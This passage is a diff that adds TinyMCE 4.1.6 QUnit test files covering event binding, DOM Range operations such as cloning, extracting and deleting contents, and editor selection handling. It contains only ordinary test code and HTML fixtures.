+	deepEqual(result, {click1: true, click2: true, click3: true, click4: true});
+
+	eventUtils.clean(document.getElementById('content'));
+	result = {};
+	eventUtils.fire(document.getElementById('inner'), 'click');
+	deepEqual(result, {click1: true, click2: true});
+});
+
+test("mouseenter/mouseleave bind/unbind", function() {
+	var result = {};
+
+	eventUtils.bind(document.body, 'mouseenter mouseleave', function(e) {
+		result[e.type] = true;
+	});
+
+	eventUtils.fire(document.body, 'mouseenter');
+	eventUtils.fire(document.body, 'mouseleave');
+
+	deepEqual(result, {mouseenter: true, mouseleave: true});
+
+	result = {};
+	eventUtils.clean(document.body);
+	eventUtils.fire(document.body, 'mouseenter');
+	eventUtils.fire(document.body, 'mouseleave');
+	deepEqual(result, {});
+});
+
+/*
+asyncTest("focusin/focusout bind/unbind", function() {
+	var result = {};
+
+	window.setTimeout(function() {
+		eventUtils.bind(document.body, 'focusin focusout', function(e) {
+			// IE will fire a focusout on the parent element if you focus an element within not a big deal so lets detect it in the test
+			if (e.type == "focusout" && e.target.contains(document.activeElement)) {
+				return;
+			}
+
+			result[e.type] = result[e.type] ? ++result[e.type] : 1;
+		});
+
+		start();
+		document.getElementById('content').focus();
+		document.getElementById('inner').focus();
+
+		deepEqual(result, {focusin: 2, focusout: 1});
+	}, 0);
+});
+*/
+
+test("bind unbind fire clean on null", function() {
+	eventUtils.bind(null, 'click', function() {});
+	eventUtils.unbind(null, 'click', function() {});
+	eventUtils.fire(null, {});
+	eventUtils.clean(null);
+	ok(true, "No exception");
+});
+
+test("bind ready when page is loaded", function() {
+	var ready;
+
+	eventUtils.bind(window, 'ready', function() {
+		ready = true;
+	});
+
+	ok(eventUtils.domLoaded, "DomLoaded state true");
+	ok(ready, "Window is ready.");
+});
+
+test("event states when event object is fired twice", function() {
+	var result = {};
+
+	eventUtils.bind(window, 'keydown', function(e) {result[e.type] = true;e.preventDefault();e.stopPropagation();});
+	eventUtils.bind(window, 'keyup', function(e) {result[e.type] = true;e.stopImmediatePropagation();});
+
+	var event = {};
+	eventUtils.fire(window, 'keydown', event);
+	eventUtils.fire(window, 'keyup', event);
+
+	ok(event.isDefaultPrevented(), "Default is prevented.");
+	ok(event.isPropagationStopped(), "Propagation is stopped.");
+	ok(event.isImmediatePropagationStopped(), "Immediate propagation is stopped.");
+
+	deepEqual(result, {keydown: true, keyup: true});
+});
+
+test("unbind inside callback", function() {
+	var data;
+
+	function append(value) {
+		return function() {
+			data += value;
+		};
+	}
+
+	function callback() {
+		eventUtils.unbind(window, 'click', callback);
+		data += 'b';
+	}
+
+	data = '';
+	eventUtils.bind(window, 'click', append("a"));
+	eventUtils.bind(window, 'click', callback);
+	eventUtils.bind(window, 'click', append("c"));
+
+	eventUtils.fire(window, 'click', {});
+	equal(data, 'abc');
+
+	data = '';
+	eventUtils.fire(window, 'click', {});
+	equal(data, 'ac');
+});
+
+test("ready/DOMContentLoaded (domLoaded = true)", function() {
+	var evt;
+
+	eventUtils.bind(window, "ready", function(e) {evt = e;});
+	equal(evt.type, "ready");
+});
+
+test("ready/DOMContentLoaded (document.readyState check)", function() {
+	var evt;
+
+	try {
+		document.readyState = "loading";
+	} catch (e) {
+		ok(true, "IE doesn't allow us to set document.readyState");
+		return;
+	}
+
+	eventUtils.domLoaded = false;
+	document.readyState = "loading";
+	eventUtils.bind(window, "ready", function(e) {evt = e;});
+	ok(typeof(evt) !== "undefined");
+
+	eventUtils.domLoaded = false;
+	document.readyState = "complete";
+	eventUtils.bind(window, "ready", function(e) {evt = e;});
+	equal(evt.type, "ready");
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/Range.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/Range.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/Range.js	(revision 33402)
@@ -0,0 +1,548 @@
+(function() {
+	module("tinymce.dom.Range", {
+		setup: function() {
+			document.getElementById('view').innerHTML = (
+				'<div id="sample">' +
+					'<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p>' +
+					'<p id="second">bar</p>' +
+					'<p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p>' +
+					'<table id="table">' +
+						'<tr>' +
+							'<td>1</td>' +
+							'<td id="two">abc</td>' +
+						'</tr>' +
+						'<tr>' +
+							'<td>3</td>' +
+							'<td>4</td>' +
+						'</tr>' +
+					'</table>' +
+					'<p id="last">textabc<span>span</span></p>' +
+				'</div>'
+			);
+		}
+	});
+
+	function createRng() {
+		return document.createRange ? document.createRange() : new tinymce.dom.Range(tinymce.DOM);
+	}
+
+	function getHTML(co) {
+		var div = document.createElement('div'), h;
+
+		if (!co) {
+			return 'null';
+		}
+
+		div.appendChild(co.cloneNode(true));
+		h = div.innerHTML.toLowerCase();
+
+		h = h.replace(/[\r\n\t]/g, ''); // Remove line feeds and tabs
+		h = h.replace(/ (\w+)=([^\"][^\s>]*)/gi, ' $1="$2"'); // Restore attribs on IE
+
+		return h;
+	}
+
+	test("Initial state", function() {
+		var r = createRng();
+
+		expect(5);
+
+		equal(r.startContainer, document);
+		equal(r.startOffset, 0);
+		equal(r.endContainer, document);
+		equal(r.endOffset, 0);
+		equal(r.commonAncestorContainer, document);
+	});
+
+	test("setStartSetEnd", function() {
+		var r = createRng();
+
+		expect(12);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('strong').firstChild, 3);
+
+		equal(r.startContainer.nodeValue, 'first');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeValue, 'strong');
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 3);
+		equal(r.commonAncestorContainer.nodeName, 'P');
+
+		r.setStart(document.getElementById('first'), 0);
+		r.setEnd(document.getElementById('strong'), 0);
+
+		equal(r.startContainer.nodeName, 'P');
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeName, 'STRONG');
+		equal(r.endOffset, 0);
+		equal(r.commonAncestorContainer.nodeName, 'P');
+	});
+
+	test("setStartBeforeSetEndAfter", function() {
+		var r = createRng();
+
+		expect(5);
+
+		r.setStartBefore(document.getElementById('first'));
+		r.setEndAfter(document.getElementById('strong'));
+
+		equal(r.startContainer.nodeName, 'DIV');
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeName, 'P');
+		equal(r.endOffset, 5);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+	});
+
+	test("test_setStartAfterSetEndBefore", function() {
+		var r = createRng();
+
+		expect(5);
+
+		r.setStartAfter(document.getElementById('strong'));
+		r.setEndBefore(document.getElementById('em1'));
+
+		equal(r.startContainer.nodeName, 'P');
+		equal(r.startOffset, 5);
+		equal(r.endContainer.nodeName, 'P');
+		equal(r.endOffset, 6);
+		equal(r.commonAncestorContainer.nodeName, 'P');
+	});
+
+	test("test_collapse", function() {
+		var r = createRng();
+
+		expect(10);
+
+		r.setStart(document.getElementById('strong').firstChild, 0);
+		r.setEnd(document.getElementById('strong').firstChild, 6);
+
+		r.collapse(true);
+
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 0);
+		equal(r.commonAncestorContainer.nodeType, 3);
+
+		r.setStart(document.getElementById('strong').firstChild, 0);
+		r.setEnd(document.getElementById('strong').firstChild, 6);
+
+		r.collapse(false);
+
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 6);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 6);
+		equal(r.commonAncestorContainer.nodeType, 3);
+	});
+
+	test("test_selectNode", function() {
+		var r = createRng();
+
+		expect(4);
+
+		r.selectNode(document.getElementById('strong').firstChild);
+
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 1);
+	});
+
+	test("test_selectNodeContents", function() {
+		var r = createRng();
+
+		expect(8);
+
+		r.selectNodeContents(document.getElementById('strong').firstChild);
+
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 6);
+
+		r.selectNodeContents(document.getElementById('first'));
+
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 8);
+	});
+
+	test("test_insertNode", function() {
+		var r = createRng();
+
+		expect(4);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('first').firstChild, 2);
+		r.insertNode(document.createTextNode('ABC'));
+
+		equal(document.getElementById('first').childNodes[0].nodeValue, 'f');
+		equal(document.getElementById('first').childNodes[1].nodeValue, 'ABC');
+		equal(document.getElementById('first').childNodes[2].nodeValue, 'irst');
+
+		r.selectNode(document.getElementById('strong'));
+		r.insertNode(document.createElement('span'));
+
+		equal(document.getElementById('strong').previousSibling.nodeName, 'SPAN');
+	});
+
+	test("test_cloneRange", function() {
+		var r = createRng();
+
+		expect(6);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('strong').firstChild, 2);
+
+		var r2 = r.cloneRange();
+
+		equal(r2.startContainer.nodeType, 3);
+		equal(r2.startOffset, 1);
+		equal(r2.endContainer.nodeType, 3);
+		equal(r2.endOffset, 2);
+		equal(r2.collapsed, false);
+		equal(r2.commonAncestorContainer.nodeName, 'P');
+	});
+
+	if (tinymce.isGecko) {
+		test('test_cloneContents (SKIPPED)', function() {
+			ok(true, 'Before Firefox 3.6 this test fails because of a corner case bug but since the point is to test the IE Range implementation we skip it.');
+		});
+	} else {
+	test("test_cloneContents", function() {
+		var r = createRng();
+
+		expect(77);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('two').firstChild, 2);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">irst<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">ab</td></tr></tbody></table>');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 2);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+
+		r.setStart(document.getElementById('two').firstChild, 1);
+		r.setEnd(document.getElementById('last').firstChild, 2);
+
+		equal(getHTML(r.cloneContents()), '<table id="table"><tbody><tr><td id="two">bc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">te</p>');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 2);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('first').lastChild, 4);
+
+		equal(getHTML(r.cloneContents()), 'irst<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> str');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 4);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeName, 'P');
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('first').firstChild, 4);
+
+		equal(getHTML(r.cloneContents()), 'irs');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 4);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 3);
+
+		r.setStart(document.getElementById('first'), 0);
+		r.setEnd(document.getElementById('last'), 0);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id=\"last\"></p>');
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 0);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+
+		r.setStart(document.getElementById('first'), 1);
+		r.setEnd(document.getElementById('last'), 1);
+
+		equal(getHTML(r.cloneContents()), '<p id="first"><!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc</p>');
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 1);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+
+		r.setStart(document.getElementById('sample'), 0);
+		r.setEnd(document.getElementById('sample'), document.getElementById('sample').childNodes.length - 1);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table>');
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, document.getElementById('sample').childNodes.length - 1);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+
+		r.setStart(document.getElementById('first'), 0);
+		r.setEnd(document.getElementById('last').firstChild, 1);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">t</p>');
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 1);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('last'), 0);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">irst<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id=\"last\"></p>');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 0);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+
+		r.setStart(document.getElementById('sample'), 0);
+		r.setEnd(document.getElementById('traverse'), 2);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em></p>');
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 2);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+
+		r.setStart(document.getElementById('sample'), 0);
+		r.setEnd(document.getElementById('traverse'), 1);
+
+		equal(getHTML(r.cloneContents()), '<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b></p>');
+		equal(r.startContainer.nodeType, 1);
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 1);
+		equal(r.collapsed, false);
+		equal(r.commonAncestorContainer.nodeType, 1);
+	});
+	}
+
+	test("test_extractContents1", function() {
+		var r = createRng();
+
+		expect(10);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('first').firstChild, 4);
+
+		equal(getHTML(r.extractContents()), 'irs');
+		equal(r.startContainer.nodeType, 3);
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 3);
+		equal(r.endOffset, 1);
+		equal(r.collapsed, true);
+		equal(r.startContainer == r.endContainer, true);
+		equal(r.startOffset == r.endOffset, true);
+		equal(r.commonAncestorContainer.nodeType, 3);
+		equal(getHTML(document.getElementById('first')), '<p id="first">ft<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p>');
+	});
+
+	test("test_extractContents2", function() {
+		var r = createRng();
+
+		expect(9);
+
+		r.setStart(document.getElementById('two').firstChild, 1);
+		r.setEnd(document.getElementById('last').firstChild, 2);
+
+		equal(getHTML(r.extractContents()), '<table id="table"><tbody><tr><td id="two">bc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">te</p>');
+		equal(r.startContainer.nodeType, 1);
+		equal(getHTML(r.startContainer), '<div id="sample"><p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">a</td></tr></tbody></table><p id="last">xtabc<span>span</span></p></div>');
+		equal(r.startOffset, 4);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 4);
+		equal(getHTML(r.endContainer), '<div id="sample"><p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">a</td></tr></tbody></table><p id="last">xtabc<span>span</span></p></div>');
+		equal(r.collapsed, true);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+	});
+
+	test("test_extractContents3", function() {
+		var r = createRng();
+
+		expect(9);
+
+		r.setStart(document.getElementById('sample'), 0);
+		r.setEnd(document.getElementById('traverse'), 2);
+
+		equal(getHTML(r.extractContents()), '<p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em></p>');
+		equal(getHTML(r.startContainer), '<div id="sample"><p id="traverse">more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 0);
+		equal(getHTML(r.endContainer), '<div id="sample"><p id="traverse">more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(getHTML(document.getElementById('sample')), '<div id="sample"><p id="traverse">more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.collapsed, true);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+	});
+
+	test("test_deleteContents1", function() {
+		var r = createRng();
+
+		expect(8);
+
+		r.setStart(document.getElementById('two').firstChild, 1);
+		r.setEnd(document.getElementById('last').firstChild, 2);
+		r.deleteContents();
+
+		equal(getHTML(r.startContainer), '<div id="sample"><p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">a</td></tr></tbody></table><p id="last">xtabc<span>span</span></p></div>');
+		equal(r.startOffset, 4);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 4);
+		equal(getHTML(r.endContainer), '<div id="sample"><p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">a</td></tr></tbody></table><p id="last">xtabc<span>span</span></p></div>');
+		equal(getHTML(document.getElementById('sample')), '<div id="sample"><p id="first">first<!--not--> strong <!-- --><strong id="strong">strong</strong> second <em id="em1">em</em> strong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">a</td></tr></tbody></table><p id="last">xtabc<span>span</span></p></div>');
+		equal(r.collapsed, true);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+	});
+
+	test("test_deleteContents2", function() {
+		var r = createRng();
+
+		expect(8);
+
+		r.setStart(document.getElementById('first').firstChild, 1);
+		r.setEnd(document.getElementById('first').lastChild, 4);
+		r.deleteContents();
+
+		equal(getHTML(r.startContainer), '<p id="first">fong.</p>');
+		equal(r.startOffset, 1);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 1);
+		equal(getHTML(r.endContainer), '<p id="first">fong.</p>');
+		equal(getHTML(document.getElementById('sample')), '<div id="sample"><p id="first">fong.</p><p id="second">bar</p><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.collapsed, true);
+		equal(r.commonAncestorContainer.nodeName, 'P');
+	});
+
+	test("test_deleteContents3", function() {
+		var r = createRng();
+
+		expect(8);
+
+		r.setStart(document.getElementById('sample'), 0);
+		r.setEnd(document.getElementById('sample'), 2);
+		r.deleteContents();
+
+		equal(getHTML(r.startContainer), '<div id="sample"><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 0);
+		equal(getHTML(r.endContainer), '<div id="sample"><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(getHTML(document.getElementById('sample')), '<div id="sample"><p id="traverse"><b><em id="em2">some text</em></b><em>em text</em>more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.collapsed, true);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+	});
+
+	test("test_deleteContents4", function() {
+		var r = createRng();
+
+		expect(8);
+
+		r.setStart(document.getElementById('sample'), 0);
+		r.setEnd(document.getElementById('traverse'), 2);
+		r.deleteContents();
+
+		equal(getHTML(r.startContainer), '<div id="sample"><p id="traverse">more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.startOffset, 0);
+		equal(r.endContainer.nodeType, 1);
+		equal(r.endOffset, 0);
+		equal(getHTML(r.endContainer), '<div id="sample"><p id="traverse">more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(getHTML(document.getElementById('sample')), '<div id="sample"><p id="traverse">more text</p><table id="table"><tbody><tr><td>1</td><td id="two">abc</td></tr><tr><td>3</td><td>4</td></tr></tbody></table><p id="last">textabc<span>span</span></p></div>');
+		equal(r.collapsed, true);
+		equal(r.commonAncestorContainer.nodeName, 'DIV');
+	});
+
+	test("test_compareBoundaryPoints", function() {
+		var r1 = createRng(), r2 = createRng(), START_TO_START = 0, START_TO_END = 1, END_TO_END = 2, END_TO_START = 3;
+		 
+		r1.setStartBefore(document.getElementById('strong'));
+		r1.setEndAfter(document.getElementById('strong'));
+		r2.setStartBefore(document.getElementById('strong'));
+		r2.setEndAfter(document.getElementById('strong'));
+		equal(r1.compareBoundaryPoints(START_TO_START, r2), 0, 'Start to start for same ranges');
+		equal(r1.compareBoundaryPoints(END_TO_END, r2), 0, 'End to end for same ranges');
+		equal(r1.compareBoundaryPoints(START_TO_END, r1), 1, 'Start to end for same ranges');
+		equal(r1.compareBoundaryPoints(END_TO_START, r2), -1, 'End to start for same ranges');
+
+		r1.setStartBefore(document.getElementById('strong'));
+		r1.setEndAfter(document.getElementById('strong'));
+		r2.setStartBefore(document.getElementById('em1'));
+		r2.setEndAfter(document.getElementById('em1'));
+		equal(r1.compareBoundaryPoints(START_TO_START, r2), -1, 'Start to start for range before');
+		equal(r1.compareBoundaryPoints(END_TO_END, r2), -1, 'End to end for range before');
+		equal(r1.compareBoundaryPoints(START_TO_END, r2), -1, 'Start to end for range before');
+		equal(r1.compareBoundaryPoints(END_TO_START, r2), -1, 'End to start for range before');
+
+		equal(r2.compareBoundaryPoints(START_TO_START, r1), 1, 'Start to start for range after');
+		equal(r2.compareBoundaryPoints(END_TO_END, r1), 1, 'End to end for range after');
+		equal(r2.compareBoundaryPoints(START_TO_END, r1), 1, 'Start to end for range after');
+		equal(r2.compareBoundaryPoints(END_TO_START, r1), 1, 'End to start for range after');
+
+		r1.setStartBefore(document.getElementById('strong'));
+		r1.setEndAfter(document.getElementById('strong'));
+		r2.setStart(document.getElementById('strong').firstChild, 2);
+		r2.setEnd(document.getElementById('strong').firstChild, 3);
+		equal(r1.compareBoundaryPoints(START_TO_START, r2), -1, 'Start to start for range inside');
+		equal(r1.compareBoundaryPoints(END_TO_END, r2), 1, 'End to end for range inside');
+		equal(r1.compareBoundaryPoints(START_TO_END, r2), 1, 'Start to end for range inside');
+		equal(r1.compareBoundaryPoints(END_TO_START, r2), -1, 'End to start for range inside');
+	});
+
+	test("toString in part of same text node", function() {
+		var rng = createRng();
+
+		rng.setStart(document.getElementById('strong').firstChild, 1);
+		rng.setEnd(document.getElementById('strong').firstChild, 3);
+		equal(rng.toString(), "tr");
+	});
+
+	test("toString in start/end of same text node", function() {
+		var rng = createRng();
+
+		rng.setStart(document.getElementById('strong').firstChild, 0);
+		rng.setEnd(document.getElementById('strong').firstChild, 6);
+		equal(rng.toString(), "strong");
+	});
+
+	test("toString in start in one text node end in another", function() {
+		var rng = createRng();
+
+		rng.setStart(document.getElementById('strong').firstChild, 1);
+		rng.setEnd(document.getElementById('em1').firstChild, 1);
+		equal(rng.toString(), "trong second e");
+	});
+
+	// Run on IE only
+	if (tinymce.isIE) {
+		test("toString in start in one text node end in another", function() {
+			var rng = createRng();
+
+			rng.setStartBefore(document.getElementById('strong'));
+			rng.setEndAfter(document.getElementById('em2'));
+			equal(rng.toString().replace(/\r\n/g, ''), "strong second em strong.barsome text");
+		});
+	}
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/dom/Selection.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/dom/Selection.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/dom/Selection.js	(revision 33402)
@@ -0,0 +1,981 @@
+module("tinymce.dom.Selection", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			skin: false,
+			forced_root_block: '',
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			custom_elements: 'custom1,~custom2',
+			extended_valid_elements: 'custom1,custom2',
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+test('getContent', function() {
+	var rng, eventObj;
+
+	// Get selected contents
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	equal(editor.selection.getContent(), '<p>text</p>', 'Get selected contents');
+
+	// Get selected contents (collapsed)
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 0);
+	editor.selection.setRng(rng);
+	equal(editor.selection.getContent(), '', 'Get selected contents (collapsed)');
+
+	// Get selected contents, onGetContent event
+	eventObj = {};
+
+	function handler(event) {
+		eventObj = event;
+	}
+
+	editor.on('GetContent', handler);
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
+	rng.setStart(editor.getBody(), 0);
+	rng.setEnd(editor.getBody(), 1);
+	editor.selection.setRng(rng);
+	editor.selection.getContent();
+	equal(eventObj.content, '<p>text</p>', 'Get selected contents, onGetContent event');
+	editor.off('GetContent', handler);
+});
+
+test('setContent', function() {
+	var rng, eventObj;
+
+	// Set contents at selection
+	editor.setContent('<p>text</p>');
+	rng = editor.dom.createRng();
